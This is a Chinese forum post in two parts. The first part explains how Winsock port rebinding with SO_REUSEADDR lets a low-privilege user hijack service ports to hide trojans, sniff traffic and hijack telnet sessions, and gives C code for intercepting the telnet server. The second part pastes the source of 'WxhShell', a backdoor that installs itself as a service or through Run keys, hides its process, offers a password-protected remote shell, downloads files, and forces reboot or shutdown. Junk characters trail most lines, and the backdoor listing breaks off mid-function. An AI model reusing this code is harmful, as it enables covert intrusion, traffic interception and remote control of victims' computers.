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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,R/HT@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?#"rI6  
L A-H  
  saddr.sin_family = AF_INET; |f1 S&b.  
WGFp<R  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {pMbkA Q@  
hI*gw3V  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @~% R%Vu  
9,\b$?9  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |D<J9+  
aP^,@RrL  
  这意味着什么?意味着可以进行如下的攻击: i:W.,w%8  
[2I1W1pd  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Xh"JyDTj3  
NfizX!w&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) I\E`xkbBu  
!Kr|04Qp#x  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 x? 3U3\W  
W1S7%6y_1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  8P5yaS_  
Rhh5r0 \5  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ||3%REliC  
!'uL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f*KNt_|:  
{/`iZzPg  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ! iuDmL  
a;JB8  
  #include |kJ'FZZd  
  #include  gSQq  
  #include umZy=KHj  
  #include    vgY ) L  
  DWORD WINAPI ClientThread(LPVOID lpParam);   9/3gF)I}  
  int main() @\0U`*]^)  
  { \'Oi0qo>  
  WORD wVersionRequested; P34UD:  
  DWORD ret; x0 1n  
  WSADATA wsaData; [.Vy  
  BOOL val; d-Vttxa6  
  SOCKADDR_IN saddr; Xkc y~e  
  SOCKADDR_IN scaddr; ax$ashFO/!  
  int err;  >d-By  
  SOCKET s; KvENH=oh  
  SOCKET sc; A;ip V :)  
  int caddsize; _N!L?b83P  
  HANDLE mt; -|;{/ s5  
  DWORD tid;   Sy|fX_i  
  wVersionRequested = MAKEWORD( 2, 2 ); ~L\KMB/9e=  
  err = WSAStartup( wVersionRequested, &wsaData );  uYVlF@]  
  if ( err != 0 ) { <,!8xp7,~  
  printf("error!WSAStartup failed!\n"); B].V|8h  
  return -1; 3z7SK Gy  
  } UhKC:<%  
  saddr.sin_family = AF_INET; w#|uR^~  
   Fy:CG6@X  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 dqF]kP,VG  
FYPv:k   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3 RB+  
  saddr.sin_port = htons(23); to9~l"n.s  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) LsaE-l  
  { |@'/F#T  
  printf("error!socket failed!\n"); pG"pvfEl9f  
  return -1; )CgKZ"  
  } .. jc^'L  
  val = TRUE; eS(hLXE!7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 < 12ia"}  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ?VCdT`6=  
  { U9w0kcUw#J  
  printf("error!setsockopt failed!\n"); #r5IwyL  
  return -1; (gW#T\Eln  
  } wW2b?b{*Z  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "&h{+DHS  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 co!o+jP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s<3cvF<  
^`M,ju  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2J?ON|2M  
  { 0"l*8%g  
  ret=GetLastError(); Y9V%eFY5E  
  printf("error!bind failed!\n"); K1y]  
  return -1; E"i<fr T  
  } %L;z~C  
  listen(s,2); ',Y`XP"Q  
  while(1) l Tpn/  
  { O3ij/8f  
  caddsize = sizeof(scaddr); ivTx6-]  
  //接受连接请求 wJ.?u]f@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); R1't W=  
  if(sc!=INVALID_SOCKET) kyV!ATL1F  
  { >ZRCM  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); yFt$L'#  
  if(mt==NULL) )?_x$GKY  
  { `D *U@iJ  
  printf("Thread Creat Failed!\n"); _8zZ.~)  
  break; [l~Gwaul>  
  } dKk\"6 o  
  } *=G~26*!V  
  CloseHandle(mt); \iN3/J4  
  } Buxn!s  
  closesocket(s); ?a)X)#lQ  
  WSACleanup(); Mw{0A\6  
  return 0; p7SX,kpt>  
  }   }jL_/gvgy  
  DWORD WINAPI ClientThread(LPVOID lpParam) :A2{  
  { 96a2G,c >V  
  SOCKET ss = (SOCKET)lpParam; {?X#E12vf  
  SOCKET sc; d}d1]@Y\  
  unsigned char buf[4096]; jVW .=FK  
  SOCKADDR_IN saddr; 1=U(ZX+u  
  long num; 5a8[0&hA 2  
  DWORD val; ]IF QD  
  DWORD ret; R\i8O^[  
  //如果是隐藏端口应用的话,可以在此处加一些判断 s,z$Vt"h*K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   ^)i5.o\  
  saddr.sin_family = AF_INET; :eHD{=  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); A(Tqf.,G  
  saddr.sin_port = htons(23); i^<P@ |q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) K;ncviGu  
  { [u?*' c{  
  printf("error!socket failed!\n"); cx+w_D9b!  
  return -1; tccw0  
  } ,=Q;@Z4 vJ  
  val = 100; /R/\>'{E&c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $*k(h|XfwW  
  { Kivr)cIG  
  ret = GetLastError(); %#AM }MWIa  
  return -1; Ai*R%#  
  } ^4G%*-   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) G`;YB  
  { GbFtX\s+5j  
  ret = GetLastError(); ]t2zwHo#  
  return -1; OEZ`5"j  
  } 3y# U|&]{  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) <R;t>~8x  
  { <^+x}KV I  
  printf("error!socket connect failed!\n"); f0^;*Y  
  closesocket(sc); (ncm]W  
  closesocket(ss); jH5VrN*Q  
  return -1; ^ <$$h  
  } s (2/]f$  
  while(1) vHydqFi9  
  { 6H ]rO3[8  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {zck Y  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 4J~ZZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bUcEQGHcZ=  
  num = recv(ss,buf,4096,0); bU3P; a(  
  if(num>0) {4C/ZA{|l  
  send(sc,buf,num,0); cr wui8  
  else if(num==0) sY- ] Q  
  break; T"bH{|:%*=  
  num = recv(sc,buf,4096,0); :m&cm%W]ts  
  if(num>0) fen~k#|l  
  send(ss,buf,num,0);  AhyV  
  else if(num==0) UnE[FYx  
  break; |>'.(  
  } 13JZ\`ceb  
  closesocket(ss); *ku}.n  
  closesocket(sc); _L^(CFE  
  return 0 ; _ArN[]Z  
  } x$SxGc~4gb  
<<SUIY@X  
vC [uEx:  
==========================================================  S6d&w6  
qOqU CRUe:  
下边附上一个代码,,WXhSHELL Xn%ty@8  
H{d;, KfX  
========================================================== vvi[+$M  
@$*LU:[  
#include "stdafx.h" Y3 V9  
ZFxa2J~;  
#include <stdio.h> 7{BTtUMAC  
#include <string.h> &^7^7:Y=?  
#include <windows.h> Yk^clCB{A(  
#include <winsock2.h> prdc}~J8{  
#include <winsvc.h> RV_(T+  
#include <urlmon.h> %U uVD  
$bCN;yE  
#pragma comment (lib, "Ws2_32.lib") .%"s| D  
#pragma comment (lib, "urlmon.lib") 5R%4fzr&g  
v'e5j``=  
#define MAX_USER   100 // 最大客户端连接数 G u4mP  
#define BUF_SOCK   200 // sock buffer ):L ; P)  
#define KEY_BUFF   255 // 输入 buffer AY(z9 &;6  
\*+-Bm:$j  
#define REBOOT     0   // 重启 2?}5U)Hg  
#define SHUTDOWN   1   // 关机 RxB9c(s^@  
C$x r)_  
#define DEF_PORT   5000 // 监听端口 $[6]Ly(F)  
J$>9UC k7B  
#define REG_LEN     16   // 注册表键长度 k|r|*|8  
#define SVC_LEN     80   // NT服务名长度 /QW-#K|S&  
xX:N-  
// 从dll定义API q}+Fm?B   
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); =jWjUkm2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0|chRX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }od5kK;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ' X9D(?O  
$&ZN%o3  
// wxhshell配置信息 x-@}x@n&[  
struct WSCFG { hM NC]  
  int ws_port;         // 监听端口 JBK(N k  
  char ws_passstr[REG_LEN]; // 口令 C[JGt 9{Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no }~O`(mnD}K  
  char ws_regname[REG_LEN]; // 注册表键名 .l:x!  
  char ws_svcname[REG_LEN]; // 服务名 v?L`aj1ox  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %2ZWSQD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 [dIlt"2fV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *RllKPY)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no  KB5<)[bs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9`FPV`/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 t,IQ|B&0  
Tya[6b!8  
}; XIRvIwO  
mzbMX <  
// default Wxhshell configuration K9=f`JI9  
struct WSCFG wscfg={DEF_PORT, +#RqQ8 \  
    "xuhuanlingzhe", p 02E:?  
    1, "V3f"J?  
    "Wxhshell", wgcKeTD9  
    "Wxhshell", &57s//PrX  
            "WxhShell Service", ]b&O#D9  
    "Wrsky Windows CmdShell Service", #HyE-|_C  
    "Please Input Your Password: ", ;Ob`B@!=b  
  1, qZB}}pM#  
  "http://www.wrsky.com/wxhshell.exe", grZ?F~P8  
  "Wxhshell.exe" Ch0t'  
    }; gCP f1z  
ZQN%!2  
// 消息定义模块 N#&/d nV  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; zy\R>4i'#Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "eH.<&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9>!B .Z?!#  
char *msg_ws_ext="\n\rExit."; )+dd  
char *msg_ws_end="\n\rQuit."; u d$*/ )/  
char *msg_ws_boot="\n\rReboot..."; LEJn 1  
char *msg_ws_poff="\n\rShutdown..."; O <#H5/Tq  
char *msg_ws_down="\n\rSave to "; 8h$f6JE  
/s[D[:P_  
char *msg_ws_err="\n\rErr!"; iji2gWV}h  
char *msg_ws_ok="\n\rOK!"; H6 V!W\:s  
+AkMU|6  
char ExeFile[MAX_PATH]; bPMkBm  
int nUser = 0; gbr-C  
HANDLE handles[MAX_USER]; -P>up)p  
int OsIsNt; VI(2/**  
*U:0c ;h  
SERVICE_STATUS       serviceStatus; !wr2OxK*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; H+?@LPV*N  
ykBq?Vr  
// 函数声明 h/xV;oj  
int Install(void); Kn`-5{1B|  
int Uninstall(void); 586lN22xM  
int DownloadFile(char *sURL, SOCKET wsh); q6AL}9]9  
int Boot(int flag); t +h}hL  
void HideProc(void); <d] t{M62W  
int GetOsVer(void); m-AW}1:\f  
int Wxhshell(SOCKET wsl); a[hQ<@1O  
void TalkWithClient(void *cs); 8=DZ;]XD.  
int CmdShell(SOCKET sock); `CqF&b  
int StartFromService(void); (>M@Ukam:  
int StartWxhshell(LPSTR lpCmdLine); sV$Zf `X)  
lCxPR'C|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 4VI'd|Ed  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  .H7xG'$  
}:xj%?ki  
// 数据结构和表定义 x2$Y"b?vz  
SERVICE_TABLE_ENTRY DispatchTable[] = MgrJ ;?L  
{ B nu5\P  
{wscfg.ws_svcname, NTServiceMain}, )^[PW&=W|x  
{NULL, NULL} ;Sw % t(@  
}; >>R,P Ow-  
9 =zZ,dg  
// 自我安装 K<~J*k<v  
int Install(void) O]-s(8Oo3  
{ x!;;;iS  
  char svExeFile[MAX_PATH]; $Y=xu2u)  
  HKEY key; 5"^Z7+6  
  strcpy(svExeFile,ExeFile); z8*{i]j  
4u+4LB*  
// 如果是win9x系统,修改注册表设为自启动 uK5 C-  
if(!OsIsNt) { E0_S+`o2y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i564<1`x  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h:~ 8WV|  
  RegCloseKey(key); Q/y"W,H#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]v|n'D-?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V4tObZP3Ff  
  RegCloseKey(key); AB[#  
  return 0; ^7-l<R[T  
    } @*"H{xo.U  
  } "Wn8}T*  
} )I(2t 6i  
else { L3|~ i&k  
#:M <<gk  
// 如果是NT以上系统,安装为系统服务 D?`|`Mu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !6pE0(V^+4  
if (schSCManager!=0) i=aK ?^+  
{ xk@fBa }  
  SC_HANDLE schService = CreateService |>!tqgq  
  ( &eY&6I  
  schSCManager, 6  5>}Q.p  
  wscfg.ws_svcname, I6.}r2?;A  
  wscfg.ws_svcdisp, -0:Equ?pz  
  SERVICE_ALL_ACCESS, qJ%AbdOI8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?r/)s()ALf  
  SERVICE_AUTO_START, U%H6jVE  
  SERVICE_ERROR_NORMAL, <)9dTOdd  
  svExeFile, 3Ued>8Gv  
  NULL, YAJr@v+Ls  
  NULL, uraT$Q}  
  NULL, xQ~N1Y2W  
  NULL, 4>}qdR1L4  
  NULL *di}rQHm  
  ); CI+@G XY  
  if (schService!=0) -YJ4-]Z  
  { b1Fd]4H3P  
  CloseServiceHandle(schService); U_61y;Q"  
  CloseServiceHandle(schSCManager); \+VQoB/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); #"KaRh  
  strcat(svExeFile,wscfg.ws_svcname); `Yw:<w\4C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { KreF\M%Ke  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5sI9GC  
  RegCloseKey(key); 1`v$R0 `!  
  return 0; vD3j(d  
    } .u\xA7X  
  } Q@5v> `  
  CloseServiceHandle(schSCManager); i2 7KuPjC  
} P^J#;{R  
} D+('1E?  
P)rz%,VF+  
return 1; _t.Ub:  
} M~LYq  
JLu>w:\  
// 自我卸载  j*#k%;c  
int Uninstall(void) cd:VFjT  
{ ObEp0-^?  
  HKEY key; WR5W0!'Tf  
W'}^m*F  
if(!OsIsNt) { E-"b":@:  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xot2L{EIUE  
  RegDeleteValue(key,wscfg.ws_regname); +~f5dJyk`  
  RegCloseKey(key); 1YJ@9*l  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { I_3{i`g  
  RegDeleteValue(key,wscfg.ws_regname); Q5>]f/LD  
  RegCloseKey(key); 87q~ nk  
  return 0; bC0DzBnM;  
  } <0!)}O  
} ,;~@t:!c  
} E%vT(Kz  
else { I W5N^J  
d6+{^v$#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 5~\GAjf  
if (schSCManager!=0) %W,V~kb  
{ {bMOT*X=A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :,1 kSM%r  
  if (schService!=0) ^zVW 3 Y q  
  { #xfPobQ>il  
  if(DeleteService(schService)!=0) { &l _NCo2  
  CloseServiceHandle(schService); dA=T+u  
  CloseServiceHandle(schSCManager); t:yJ~En]=  
  return 0; 9KDm<Q-mf  
  } ;k5B@z/<S  
  CloseServiceHandle(schService); xF])NZy|  
  } }e0>Uk`[  
  CloseServiceHandle(schSCManager); 6 6Bx,]"6  
} h7cE"m  
} XG;Dj<Dm  
@@} ]qT*  
return 1; f&88N<)  
} <) VNEy'  
vCsJnKqK  
// 从指定url下载文件 6<m9guv  
int DownloadFile(char *sURL, SOCKET wsh) 08F~6e6a8  
{ MHF7hk ps}  
  HRESULT hr; r l>e~i  
char seps[]= "/"; RE.t<VasP  
char *token; gib'f@i;  
char *file; S/)yi  
char myURL[MAX_PATH]; = sh3&8  
char myFILE[MAX_PATH]; ~xU\%@I\  
m`6=6(_p  
strcpy(myURL,sURL); 3"p'WZ>  
  token=strtok(myURL,seps); ;$/]6@bqB  
  while(token!=NULL) `i{p6-U3  
  { #v}pn2g%>  
    file=token; c);vl%  
  token=strtok(NULL,seps); V6 uh'2  
  } *TC#|5  
h$$2(!G4  
GetCurrentDirectory(MAX_PATH,myFILE); H rI(uZ]  
strcat(myFILE, "\\"); lCiRvh1K  
strcat(myFILE, file); e(Y5OTus  
  send(wsh,myFILE,strlen(myFILE),0); 9/$Cq  
send(wsh,"...",3,0); l }WvO]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !]2`dp\!  
  if(hr==S_OK) 9Z lfY1=  
return 0; $3yn-'o'A  
else GyLp&aa  
return 1; 0q_?<v_ 1  
~__rI-/_  
} ).8NZ Aj  
!(#d 7R  
// 系统电源模块 KSxZ4Y  
int Boot(int flag) "T1A$DKw+R  
{ UthM?g^  
  HANDLE hToken; KU 98"b5  
  TOKEN_PRIVILEGES tkp; (65|QA   
JlhI3`X;/  
  if(OsIsNt) { uh&Qdy!I  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); cNiNLwc  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mae@L  
    tkp.PrivilegeCount = 1; \.Z /  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &*9 ' 0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); AGK{t+`  
if(flag==REBOOT) { Z:.*fs5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Bnh*;J0  
  return 0; RKD$'UWX  
} mt}3/d  
else { <Xb$YB-c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |^C35 6M>  
  return 0; U)] }EgpF  
} DQ hstXX  
  } zCI.^^<?  
  else { L-VisZ-FK  
if(flag==REBOOT) { ujh`&GiB+  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) !;M5.Y1j&"  
  return 0; wH]Y1 m  
} 6@-O#,]J  
else { LZ z]4Mf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?v}S9z  
  return 0; ChRCsu~  
} O ~D]C  
} grTwo  
y@9ifFr  
return 1; 1!&m1  
} u$ff %`E  
,Y`TP4Ip  
// win9x进程隐藏模块 w 3$9  
void HideProc(void) J8?V1Ad{  
{ 8RjFp2) W  
b/obHB+:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); DMiB \o  
  if ( hKernel != NULL ) 'DTq<`~?  
  { `Tc"a_p9t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y%Tm `$^V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); j6#Vwcr  
    FreeLibrary(hKernel); 8]&\FA8  
  } _ pO1XM  
Hgbrlh  
return; $ Qcr8~+a  
} 2k+u_tj>  
H&uh$y@  
// 获取操作系统版本 AQTV1f_  
int GetOsVer(void) T0"q,lrdxV  
{ 8XD_p);Oy  
  OSVERSIONINFO winfo; %,f(jQfg_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cS RmC  
  GetVersionEx(&winfo); D| g{]nO  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) BQL](Y "  
  return 1; Pa-{bhllu)  
  else #PQhgli  
  return 0; T[%@B"  
} yeIc Q%  
vQmqYyOc2  
// 客户端句柄模块 MR/gLm(8(  
int Wxhshell(SOCKET wsl) XvIY=~  
{ _zDf8hy  
  SOCKET wsh; f[-$##S.~  
  struct sockaddr_in client; lK3{~ \J-  
  DWORD myID; 'wVi>{?  
Ir6g"kwCKq  
  while(nUser<MAX_USER) 8K2=WYN  
{ Le*gdoW.  
  int nSize=sizeof(client); LTcZdQd$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vr hd\  
  if(wsh==INVALID_SOCKET) return 1; TV~S#yg+H  
91M5F$  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]}L tf,9  
if(handles[nUser]==0) I 8VCR8q  
  closesocket(wsh); )wCV]TdF  
else NE+ ;<mW  
  nUser++; z4 KKt&  
  } rkn'1M&u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0gH;y+\=*  
e@{Rlz   
  return 0; Y?\PU{ O  
} Un Ocw  
K[l5=)G0L  
// 关闭 socket MY l9 &8  
void CloseIt(SOCKET wsh)  mT,#"k8  
{ t(p}0}Pp  
closesocket(wsh); #7=- zda5  
nUser--; n a+P|'6  
ExitThread(0); }s:~E2?In  
} eDY)i9"W  
G#j~8`3X  
// 客户端请求句柄 'mk_s4J  
void TalkWithClient(void *cs) J*t_r-z  
{ LL+PAvMg  
HM &"2c  
  SOCKET wsh=(SOCKET)cs; &{gy{npQ  
  char pwd[SVC_LEN]; |"YE_aYu  
  char cmd[KEY_BUFF]; s f8F h  
char chr[1]; IGF25-7B  
int i,j; f0+vk'Z  
Lmw4  
  while (nUser < MAX_USER) { _ qU-@Y$  
W{fNZb'  
if(wscfg.ws_passstr) { 5=/j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fil6;R  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nhRpb9f`1@  
  //ZeroMemory(pwd,KEY_BUFF); Kiq[PK  
      i=0; .p(%gmOp#  
  while(i<SVC_LEN) { ~8U0(n:^  
pyp0SGCM:  
  // 设置超时 q_Z6s5O  
  fd_set FdRead; Z6 E_Y?  
  struct timeval TimeOut; kY{;(b3Q  
  FD_ZERO(&FdRead); {!^0j{T  
  FD_SET(wsh,&FdRead); *M'/z=V?%  
  TimeOut.tv_sec=8; dP=,<H#]m  
  TimeOut.tv_usec=0; V#X<Yt  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yaPx=^&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vrIWw?/z?  
;Q0H7)t:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); vQy+^deW  
  pwd=chr[0]; a(lmm@;V<  
  if(chr[0]==0xd || chr[0]==0xa) { ~W-5-Nl{s  
  pwd=0; 5 Q/yPQN  
  break; %Ot*k%F  
  } }J $\<ZT  
  i++; BT"n;L?[  
    } wY3| 5kbDj  
eu'S~c-l  
  // 如果是非法用户,关闭 socket  ^w_\D?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); =3EjD;2  
} 'oF XNO  
?{\h`+A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }WHq?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iw{^nSD  
Bo8NY!  
while(1) { L| ;WE=  
otlv ;3263  
  ZeroMemory(cmd,KEY_BUFF); R#ZO<g%'  
gv,1 CK  
      // 自动支持客户端 telnet标准   u>/Jb+  
  j=0; +0) H~ qB\  
  while(j<KEY_BUFF) { ijgm-1ECk3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5]zH!>-F  
  cmd[j]=chr[0]; J~AmRo0!k  
  if(chr[0]==0xa || chr[0]==0xd) { OO\$'% y`  
  cmd[j]=0; fJ&\Z9zY  
  break; CW -[c  
  } F<DXPToX%  
  j++; G\K!7k`)!  
    } Nka 3H7 `  
XrI$@e*  
  // 下载文件 ~~q>]4>  
  if(strstr(cmd,"http://")) { 38GZ_ z}r  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I.it4~]H  
  if(DownloadFile(cmd,wsh)) 1rON8=E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); rTqGtmulG  
  else z fu)X!t^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U:bnX51D4  
  } V=<AI.Z:w  
  else { g]E3+:5dk  
 F |aLF{  
    switch(cmd[0]) { gv1y%(`|n(  
  FM7`q7d  
  // 帮助 <==6fc>s  
  case '?': { gBOF#"-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Hyi'z1  
    break; odn3*{c{x  
  } 'V\V=yc1  
  // 安装 ZS[Ut  
  case 'i': { D"exI]  
    if(Install()) 1u"#rC>7.4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @hy~H?XN  
    else tV h"C%Vkr  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ] !n3j=*   
    break; Pbt7T Q  
    } IyAD>Q^  
  // 卸载 @M"( r"ab  
  case 'r': { '$ [%x  
    if(Uninstall()) =|dHD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i8S=uJ]n  
    else t%StBq(q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qfjUJ/  
    break; $W%-Mm  
    } W}#n.c4+  
  // 显示 wxhshell 所在路径 wF3 MzN=%  
  case 'p': { r"|.`$:B  
    char svExeFile[MAX_PATH]; C[5dhFZ  
    strcpy(svExeFile,"\n\r"); ^PUB~P/  
      strcat(svExeFile,ExeFile); }}Z2@}  
        send(wsh,svExeFile,strlen(svExeFile),0); 6"; ITU^v  
    break; mF4y0r0  
    } .A0fI";Q  
  // 重启 $9@AwS@Uu  
  case 'b': { ;]@Pm<f  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #qW#>0U  
    if(Boot(REBOOT)) hVAatn[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AH_qZTv0{Q  
    else { Wb[k2V  
    closesocket(wsh); ("{"8   
    ExitThread(0); wB&5q!{!  
    } Q>71uM%e`  
    break; BGHZL~  
    } h1l%\3ZH  
